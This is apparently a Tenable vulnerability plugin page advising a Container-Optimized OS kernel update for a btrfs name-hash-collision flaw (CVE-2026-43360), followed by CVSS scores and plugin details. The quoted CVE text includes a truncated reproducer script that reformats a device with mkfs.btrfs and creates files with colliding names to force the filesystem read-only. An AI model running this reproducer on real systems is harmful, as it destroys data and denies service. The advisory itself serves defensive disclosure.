Google: sys-kernel/cchost-kernel-6_12, sys-kernel/csql-kernel-6_6: security update to 19216.395.4

medium Tenable Self-Hosted Container Security Plugin ID 472429

Description

There are packages installed that are affected by a vulnerability referenced in the following CVE:

- In the Linux kernel, the following vulnerability has been resolved: btrfs: fix transaction abort on file
creation due to name hash collision If we attempt to create several files with names that result in the
same hash, we have to pack them in same dir item and that has a limit inherent to the leaf size. However
if we reach that limit, we trigger a transaction abort and turns the filesystem into RO mode. This allows
for a malicious user to disrupt a system, without the need to have administration privileges/capabilities.
Reproducer: $ cat exploit-hash-collisions.sh #!/bin/bash DEV=/dev/sdi MNT=/mnt/sdi # Use smallest node
size to make the test faster and require fewer file # names that result in hash collision. mkfs.btrfs -f
--nodesize 4K $DEV mount $DEV $MNT # List of names that result in the same crc32c hash for btrfs. declare
-a names=( 'foobar' '%a8tYkxfGMLWRGr55QSeQc4PBNH9PCLIvR6jZnkDtUUru1t@RouaUe_L:@xGkbO3nCwvLNYeK9vhE628gss:T
$yZjZ5l-Nbd6CbC$M=hqE-ujhJICXyIxBvYrIU9-TDC' 'AQci3EUB%shMsg-
N%frgU:02ByLs=IPJU0OpgiWit5nexSyxZDncY6WB:=zKZuk5Zy0DD$Ua78%MelgBuMqaHGyKsJUFf9s=UW80PcJmKctb46KveLSiUtNmq
rMiL9-Y0I_l5Fnam04CGIg=8@U:Z'
'CvVqJpJzueKcuA$wqwePfyu7VxuWNN3ho$p0zi2H8QFYK$7YlEqOhhb%:hHgjhIjW5vnqWHKNP4'
'ET:vk@rFU4tsvMB0$C_p=xQHaYZjvoF%-BTc%wkFW8yaDAPcCYoR%x$FH5O:' 'HwTon%v7SGSP4FE08jBwwiu5aot2CFKXHTeEAa@38f
UcNGOWvE@Mz6WBeDH_VooaZ6AgsXPkVGwy9l@@ZbNXabUU9csiWrrOp0MWUdfi$EZ3w9GkIqtz7I_eOsByOkBOO'
'Ij%2VlFGXSuPvxJGf5UWy6O@1svxGha%b@=%wjkq:CIgE6u7eJOjmQY5qTtxE2Rjbis9@us' 'KBkjG5%9R8K9sOG8UTnAYjxLNAvBmvV
5vz3IiZaPmKuLYO03-
6asI9lJ_j4@6Xo$KZicaLWJ3Pv8XEwVeUPMwbHYWwbx0pYvNlGMO9F:ZhHAwyctnGy%_eujl%WPd4U2BI7qooOSr85J-C2V$LfY' 'NcRf
DfuUQ2=zP8K3CCF5dFcpfiOm6mwenShsAb_F%n6GAGC7fT2JFFn:c35X-
3aYwoq7jNX5$ZJ6hI3wnZs$7KgGi7wjulffhHNUxAT0fRRLF39vJ@NvaEMxsMO'
'Oj42AQAEzRoTxa5OuSKIr=A_lwGMy132v4g3Pdq1GvUG9874YseIFQ6QU' 'Ono7avN5GjC:_6dBJ_'
'WHmN2gnmaN-9dVDy4aWo:yNGFzz8qsJyJhWEWcud7$QzN2D9R0efIWWEdu5kwWr73NZm4=@CoCDxrrZnRITr-kGtU_cfW2:%2_am' 'Wi
FnuTEhAG9FEC6zopQmj-A-
$LDQ0T3WULz%ox3UZAPybSV6v1Z$b4L_XBi4M4BMBtJZpz93r9xafpB77r:lbwvitWRyo$odnAUYlYMmU4RvgnNd--
e=I5hiEjGLETTtaScWlQp8mYsBovZwM2k' 'XKyH=OsOAF3p%uziGF_ZVr$ivrvhVgD@1u%5RtrV-
gl_vqAwHkK@x7YwlxX3qT6WKKQ%PR56NrUBU2dOAOAdzr2=5nJuKPM-T-$ZpQfCL7phxQbUcb:BZOTPaFExc-qK-gDRCDW2' 'd3uUR6OF
EwZr%ns1XH_@tbxA@cCPmbBRLdyh7p6V45H$P2$F%w0RqrD3M0g8aGvWpoTFMiBdOTJXjD:JF7=h9a_43xBywYAP%r$SPZi%zDg%ql-
KvkdUCtF9OLaQlxmd' 'ePTpbnit%hyNm@WELlpKzNZYOzOTf8EQ$sEfkMy1VOfIUu3coyvIr13-Y7Sv5v-
Ivax2Go_GQRFMU1b3362nktT9WOJf3SpT%z8sZmM3gvYQBDgmKI%%RM-G7hyrhgYflOw%z::ZRcv5O:lDCFm' 'evqk743Y@dvZAiG5J05
L_ROFV@$2%rVWJ2%3nxV72-W7$e$-
SK3tuSHA2mBt$qloC5jwNx33GmQUjD%akhBPu=VJ5g$xhlZiaFtTrjeeM5x7dt4cHpX0cZkmfImndYzGmvwQG:$euFYmXn$_2rA9mKZ' '
gkgUtnihWXsZQTEkrMAWIxir09k3t7jk_IK25t1:cy1XWN0GGqC%FrySdcmU7M8MuPO_ppkLw3=Dfr0UuBAL4%GFk2$Ma10V1jDRGJje%X
x9EV2ERaWKtjpwiZwh0gCSJsj5UL7CR8RtW5opCVFKGGy8Cky'
'hNgsG_8lNRik3PvphqPm0yEH3P%%fYG:kQLY=6O-61Wa6nrV_WVGR6TLB09vHOv%g4VQRP8Gzx7VXUY1qvZyS'
'isA7JVzN12xCxVPJZ_qoLm-pTBuhjjHMvV7o=F:EaClfYNyFGlsfw-Kf%uxdqW-kwk1sPl2vhbjyHU1A6$hz'
'kiJ_fgcdZFDiOptjgH5PN9-PSyLO4fbk_:u5_2tz35lV_iXiJ6cx7pwjTtKy-XGaQ5IefmpJ4N_ZqGsqCsKuqOOBgf9LkUdffHet@Wu'
'lvwtxyhE9:%Q3UxeHiViUyNzJsy:fm38pg_b6s25JvdhOAT=1s0$pG25x=LZ2rlHTszj=gN6M4zHZYr_qrB49i=pA--
@WqWLIuX7o1S_SfS@2FSiUZN'
'rC24cw3UBDZ=5qJBUMs9e$=S4Y94ni%Z8639vnrGp=0Hv4z3dNFL0fBLmQ40=EYIY:Z=SLc@QLMSt2zsss2ZXrP7j4=' 'uwGl2s-
fFrf@GqS=DQqq2I0LJSsOmM%xzTjS:lzXguE3wChdMoHYtLRKPvfaPOZF2fER@j53evbKa7R%A7r4%YEkD=kicJe@SFiGtXHbKe4gCgPAY
bnVn' 'UG37U6KKua2bgc:IHzRs7BnB6FD:2Mt5Cc5NdlsW%$1tyvnfz7S27FvNkroXwAW:mBZLA1@qa9WnDbHCDmQmfPMC9z-
Eq6QT0jhhPpqyymaD:R02ghwYo%yx7SAaaq-:x33LYpei$5g8DMl3C'
'y2vjek0FE1PDJC0qpfnN:x8k2wCFZ9xiUF2ege=JnP98R%wxjKkdfEiLWvQzmnW' '8-HCSgH5B%K7P8_jaVtQhBXpBk:pE-
$P7ts58U0J@iR9YZntMPl7j$s62yAJO@_9eanFPS54b=UTw$94C-t=HLxT8n6o9P=QnIxq-f1=Ne2dvhe6WbjEQtc'
'YPPh:IFt2mtR6XWSmjHptXL_hbSYu8bMw-JP8@PNyaFkdNFsk$M=xfL6LDKCDM-mSyGA_2MBwZ8Dr4=R1D%7-mC ---truncated---
(CVE-2026-43360)

Solution

Update the sys-kernel/cchost-kernel-6_12 library and its related packages to version 19216.395.4 or later.

See Also

https://storage.googleapis.com/cos-oval-vulnerability-feed/cos-125.oval.xml.tar.gz

Plugin Details

Severity: Medium

ID: 472429

Version: Revision 1.1

Type: Local

Published: 10/3/2026

Updated: 10/3/2026

Risk Information

VPR

Risk Factor: Low

Score: 3

Percentile: 23.71

Vendor

Vendor Severity: LOW

CVSS v2

Risk Factor: Medium

Base Score: 4.6

Temporal Score: 3.4

Vector: CVSS2#AV:L/AC:L/Au:S/C:N/I:N/A:C

CVSS Score Source: CVE-2026-43360

CVSS v3

Risk Factor: Medium

Base Score: 5.5

Temporal Score: 4.8

Vector: CVSS:3.0/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H

Temporal Vector: CVSS:3.0/E:U/RL:O/RC:C

Vulnerability Information

Exploit Ease: No known exploits are available

Vulnerability Publication Date: 4/30/2026

Reference Information

CVE: CVE-2026-43360